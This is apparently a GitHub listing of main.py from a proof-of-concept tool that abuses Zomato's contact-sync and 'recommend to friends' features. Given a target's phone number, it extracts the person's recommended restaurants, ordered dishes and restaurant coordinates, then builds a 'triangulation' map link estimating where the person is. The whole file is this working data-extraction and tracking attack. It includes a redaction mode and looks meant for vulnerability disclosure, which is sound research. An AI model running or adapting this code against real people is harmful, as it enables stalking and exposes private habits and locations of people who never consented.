forked from jatin-dot-py/zomato-intelligence
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
458 lines (380 loc) · 18.1 KB
/
main.py
File metadata and controls
458 lines (380 loc) · 18.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
import os
import sys
import json
import urllib.parse
import argparse
import random
import math
from colorama import init, Fore, Style
from rich.console import Console, Group
from rich.panel import Panel
from rich.table import Table
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn
from rich.align import Align
from rich.rule import Rule
from rich.text import Text
from rich.padding import Padding
from rich import box
import urllib3
# Initialize colorama for Windows compatibility
init(autoreset=True)
console = Console()
# Suppress insecure request warnings when using the proxy
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Burp Suite proxy configuration
BURP_PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
def print_success(message): console.print(f"[bold green][✓][/bold green] {message}")
def print_info(message): console.print(f"[bold cyan][+][/bold cyan] {message}")
def print_warning(message): console.print(f"[bold yellow][!][/bold yellow] {message}")
def print_error(message): console.print(f"[bold red][✗][/bold red] {message}")
def generate_triangulation_link(coordinates: list, radius_meters: int = 8000) -> str:
"""
Generates a mapdevelopers.com link to visualize coordinates with circles.
"""
if not coordinates:
return ""
circles = []
for lat, lon in coordinates:
circles.append([
radius_meters, # Radius in meters
lat, # Latitude
lon, # Longitude
"#FF5733", # Fill color
"#000000", # Stroke color
0 # Fill opacity
])
json_data = json.dumps(circles)
encoded = urllib.parse.quote(json_data)
return f"https://www.mapdevelopers.com/draw-circle-tool.php?circles={encoded}"
def redact_restaurant_name(name):
"""
Keeps the first word, then appends a random number of redacted blocks
to bluff the actual length of the branch name.
"""
parts = name.split()
if not parts:
return "******"
first_word = parts[0]
# Randomize length to prevent length-based inference attacks
random_blocks = random.randint(1, 3)
redacted_part = " ".join(["******"] * random_blocks)
return f"{first_word} {redacted_part}"
def redact_dish_name(name):
"""Redacts the latter half of a dish name's words to prevent identification."""
words = name.split()
if len(words) <= 1:
return name # Don't redact single-word dishes
# Keep the first 50% of words (rounding up)
words_to_keep_count = math.ceil(len(words) / 2)
kept_part = " ".join(words[:words_to_keep_count])
return f"{kept_part} ******"
def print_banner(user_name, user_phone, redact_enabled=False):
# ASCII Art
art = """
███████╗ ██████╗ ███╗ ███╗ █████╗ ████████╗ ██████╗
╚══███╔╝██╔═══██╗████╗ ████║██╔══██╗╚══██╔══╝██╔═══██╗
███╔╝ ██║ ██║██╔████╔██║███████║ ██║ ██║ ██║
███╔╝ ██║ ██║██║╚██╔╝██║██╔══██║ ██║ ██║ ██║
███████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║ ██║ ╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝
"""
# Logic: If redacted, hide all. If not, show full (no stars).
if redact_enabled:
display_name = "[REDACTED NAME]"
display_phone = "[REDACTED PHONE]"
else:
display_name = user_name
display_phone = user_phone
# Info Grid (Invisible table for layout)
info_grid = Table.grid(padding=(0, 2))
info_grid.add_column(style="cyan bold", justify="right")
info_grid.add_column(style="white")
info_grid.add_row("Logged in as:", f"[green]{display_name}[/green]")
info_grid.add_row("Logged in as Phone:", f"[green]{display_phone}[/green]")
info_grid.add_row("Session:", "[bold green]Active & Authenticated[/bold green]")
if redact_enabled:
info_grid.add_row("Mode:", "[bold yellow]PRIVACY / REDACTED[/bold yellow]")
# Capabilities Text
capabilities = Text()
capabilities.append("• Phone Number Correlation\n", style="dim")
capabilities.append("• Public Recommendation Extraction\n", style="dim")
capabilities.append("• Location Tracking (Triangulation)", style="dim")
# Construct the dashboard panel
dashboard_content = Group(
Align.center(Text(art, style="bold red")),
Align.center(Text("PRIVATE DATA EXPOSURE & TRACKING POC", style="bold white on red")),
Text(""), # Spacer
Rule(style="red dim"),
Padding(
Align.center(info_grid),
(1, 0, 1, 0)
),
Rule(title="[dim]Capabilities[/dim]", style="red dim"),
Padding(Align.center(capabilities), (0, 0, 1, 0))
)
console.print(Panel(
dashboard_content,
border_style="red",
title="[bold red]INITIALIZED[/bold red]",
subtitle="[dim italic]Proceed with caution[/dim italic]",
width=80
))
console.print(Align.center("[dim italic yellow]⚠ Proceeding will desync existing contacts and initiate targeted extraction.[/dim italic yellow]"), justify="center")
print()
def main(proxies=None, redact_enabled=False, radius=8000):
# --- Step 1: Authentication & Banner ---
if not os.path.exists(".x_zomato_access_token"):
print_error("Token file '.x_zomato_access_token' not found")
sys.exit(1)
with open(".x_zomato_access_token", "r") as f:
TOKEN = f.read().strip()
if not TOKEN:
print_error("Token file is empty")
sys.exit(1)
from current_user import get_zomato_user_info
user_info = get_zomato_user_info(TOKEN, proxies=proxies)
if not user_info.get("success"):
print_error("Authentication failed - check token validity")
sys.exit(1)
user_name = user_info.get('data', {}).get('name', 'Unknown')
user_phone = user_info.get('data', {}).get('mobile', 'Unknown')
print_banner(user_name, user_phone, redact_enabled=redact_enabled)
confirm = console.input(f"[bold white]Proceed with extraction? (y/n): [/bold white]").strip().lower()
if confirm != 'y':
print_info("Cancelled")
sys.exit(0)
print()
# --- Step 2 & 3: Sync, Get Contacts, Enrich with Restaurants ---
from desync_contacts import desync_contacts
desync_contacts(TOKEN, proxies=proxies)
print_info("Enter target phone numbers (comma-separated)")
console.print(f" [dim]Example: 9898989898, 9999999999[/dim]")
numbers = input(f" Numbers: ").strip()
if not numbers:
print_error("No phone numbers provided")
sys.exit(1)
print()
print_info("Syncing contacts...")
from sync_contacts import sync_contacts
sync_response = sync_contacts(TOKEN, numbers, proxies=proxies)
if not sync_response.get("success"):
print_error("Contact sync failed")
if 'validation_errors' in sync_response:
for error in sync_response['validation_errors']: print(f" {error}")
print(f"\n Valid formats: +919999999999, 9999999999, 09999999999")
sys.exit(1)
print_info("Extracting contacts...")
from get_contacts import get_contacts
contacts = get_contacts(TOKEN, proxies=proxies)
zomato_users = [c for c in contacts if c.get('is_zomato_user')]
with_recommendations = [c for c in contacts if c.get('has_recommendations')]
print()
if not with_recommendations:
console.print(Panel(
f"Found {len(zomato_users)} Zomato user(s), but no recommendations\n\n"
"Target accounts must have:\n"
" • 'Recommend to friends' feature enabled\n"
" • At least 1 recommendation saved\n\n"
"[dim]Try different phone numbers[/dim]",
title="[bold yellow]No Exploitable Accounts[/bold yellow]",
border_style="yellow",
box=box.ROUNDED
))
print()
sys.exit(0)
print_info(f"Extracting restaurants for {len(with_recommendations)} account(s)...")
from get_contact_collection import get_contact_collection
with Progress(
SpinnerColumn(),
TextColumn("[progress.description]{task.description}"),
BarColumn(),
TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
console=console,
) as progress:
task = progress.add_task("[cyan]Fetching restaurant collections...", total=len(with_recommendations))
for contact in with_recommendations:
collection_result = get_contact_collection(
zomato_token=TOKEN,
encrypted_owner_user_id=contact['encrypted_owner_user_id'],
owner_name=contact['name'],
proxies=proxies
)
contact['restaurants'] = collection_result.get('restaurants', []) if collection_result.get('success') else []
progress.update(task, advance=1)
print()
# --- Step 4: Efficiently Fetch Menus & Coords ---
unique_res_ids = set()
for contact in with_recommendations:
for restaurant in contact.get('restaurants', []):
unique_res_ids.add(restaurant['res_id'])
print_info(f"Found {len(unique_res_ids)} unique restaurants to query for menus and locations.")
print()
from get_menu import get_friend_recommendations
menu_data_by_res_id = {}
with Progress(
SpinnerColumn(),
TextColumn("[progress.description]{task.description}"),
BarColumn(),
TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
console=console,
) as progress:
task = progress.add_task("[cyan]Fetching menu data...", total=len(unique_res_ids))
for res_id in unique_res_ids:
menu_result = get_friend_recommendations(TOKEN, res_id, proxies=proxies)
menu_data_by_res_id[res_id] = menu_result.get('data', []) if menu_result.get('success') else []
progress.update(task, advance=1)
print()
from get_res_meta import fetch_restaurant_coordinates
coords_by_res_id = {}
with Progress(
SpinnerColumn(),
TextColumn("[progress.description]{task.description}"),
BarColumn(),
TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
console=console,
) as progress:
task = progress.add_task("[cyan]Fetching restaurant coordinates...", total=len(unique_res_ids))
for res_id in unique_res_ids:
coords_by_res_id[res_id] = fetch_restaurant_coordinates(res_id, proxies=proxies)
progress.update(task, advance=1)
print()
# --- Step 5: Final Enrichment & JSON Dump ---
print_info("Matching dishes and locations to users...")
for contact in with_recommendations:
encrypted_id = contact['encrypted_owner_user_id']
for restaurant in contact.get('restaurants', []):
res_id = restaurant['res_id']
# Match menu items
menu_data = menu_data_by_res_id.get(res_id, [])
restaurant['ordered_items'] = []
for user_menu in menu_data:
if user_menu.get('user_id') == encrypted_id:
restaurant['ordered_items'] = user_menu.get('ordered_items', [])
break
# Match coordinates
coords = coords_by_res_id.get(res_id, {"latitude": None, "longitude": None})
restaurant['latitude'] = coords.get('latitude')
restaurant['longitude'] = coords.get('longitude')
print()
print_success(f"Enrichment complete")
output_filename = "enriched_results.json"
print_info(f"Saving full enriched data to {output_filename}...")
with open(output_filename, "w") as f:
json.dump(with_recommendations, f, indent=2)
print_success(f"Data saved successfully.")
print()
# --- Step 6: Final Display with Triangulation Link ---
for contact in with_recommendations:
header_grid = Table.grid(padding=(0,2))
header_grid.add_column(style="cyan bold")
header_grid.add_column(style="white")
# Redact Encrypted ID if flag is on
display_enc_id = contact['encrypted_owner_user_id']
if redact_enabled:
display_enc_id = "[REDACTED HASH]"
elif len(display_enc_id) > 30:
display_enc_id = display_enc_id[:30] + "..."
header_grid.add_row("Contact Name:", contact['name'])
header_grid.add_row("Encrypted ID:", display_enc_id)
header_grid.add_row("Total Recs:", str(contact['recommendations']))
user_coordinates = [] # This holds real coordinates
content_group = [header_grid]
if contact.get('restaurants'):
dishes_table = Table(
box=box.SIMPLE_HEAD,
show_header=True,
header_style="bold yellow",
expand=True,
border_style="dim"
)
dishes_table.add_column("Restaurant", style="cyan", width=20)
dishes_table.add_column("Dish Ordered", style="white", width=30)
dishes_table.add_column("Price", style="green", justify="right")
dishes_table.add_column("Location", style="dim")
dishes_table.add_column("Image", style="blue")
for restaurant in contact['restaurants']:
lat = restaurant.get('latitude')
lng = restaurant.get('longitude')
# --- Redaction Logic Applied to Table ---
# 1. Location String
location_str = "N/A"
if lat and lng:
user_coordinates.append((lat, lng))
if redact_enabled:
location_str = "[REDACTED LOC]"
else:
location_str = f"{lat}, {lng}"
# 2. Restaurant Name
res_name = restaurant['name']
if redact_enabled:
res_name = redact_restaurant_name(res_name)
if restaurant.get('ordered_items'):
for dish in restaurant['ordered_items']:
dish_name = dish.get('name', 'N/A')
image_url = dish.get('image')
if redact_enabled:
dish_name = redact_dish_name(dish_name)
image_display = f"[link={image_url}]Link[/link]" if image_url else "[dim]N/A[/dim]"
dishes_table.add_row(
res_name,
dish_name,
f"₹{dish.get('price', 'N/A')}",
location_str,
image_display
)
else:
dishes_table.add_row(res_name, "[dim]N/A[/dim]", "[dim]N/A[/dim]", location_str, "[dim]N/A[/dim]")
if dishes_table.row_count > 0:
content_group.append(Rule(style="dim"))
content_group.append(dishes_table)
else:
content_group.append(Text("\nNo recommended restaurants found for this user.", style="dim italic"))
# Generate and print the map link if coordinates were found
if user_coordinates:
if redact_enabled:
# Provide the example link text as requested
example_url = "https://www.mapdevelopers.com/draw-circle-tool.php?circles=%5B%5B4000%2C30.773201%2C76.791374%2C%22%23FF0000%22%2C%22%23000000%22%2C0.4%5D%2C%5B4000%2C30.752337%2C76.771277%2C%22%2300FF00%22%2C%22%23000000%22%2C0.4%5D%2C%5B4000%2C30.7365%2C76.7765%2C%22%230000FF%22%2C%22%23000000%22%2C0.4%5D%5D"
link_text = Text()
link_text.append("\n[REDACTED MODE ENABLED]\n", style="bold yellow")
link_text.append("Real location data is hidden. An example of a real triangulation link is:\n", style="dim")
link_text.append(example_url, style="blue underline link " + example_url)
else:
# Use radius from args
map_link = generate_triangulation_link(user_coordinates, radius_meters=radius)
link_text = Text("\n[Click here for Triangulation Map]", style="bold blue link " + map_link)
content_group.append(link_text)
console.print(Panel(
Group(*content_group),
title=f"[bold green]Target: {contact['name']}[/bold green]",
border_style="green",
box=box.ROUNDED
))
console.print()
print()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Zomato Contact Recommendation Data Exposure POC")
parser.add_argument("--proxy", type=str, help="Proxy address (e.g., 192.168.1.9:8080 or 127.0.0.1:8080)")
parser.add_argument("--redact", action="store_true", help="Redact sensitive data (User ID, Phone, Coords, Map Links) from output")
parser.add_argument("--radius", type=int, default=8000, help="Triangulation radius in meters (default: 8000)")
args = parser.parse_args()
proxies = None
if args.proxy:
proxies = {
"http": f"http://{args.proxy}",
"https": f"http://{args.proxy}",
}
try:
main(proxies=proxies, redact_enabled=args.redact, radius=args.radius)
except KeyboardInterrupt:
print()
print_warning("Cancelled by user (Ctrl+C)")
sys.exit(0)
except Exception as e:
print()
print_error(f"Unexpected error: {str(e)}")
import traceback
traceback.print_exc()
sys.exit(1)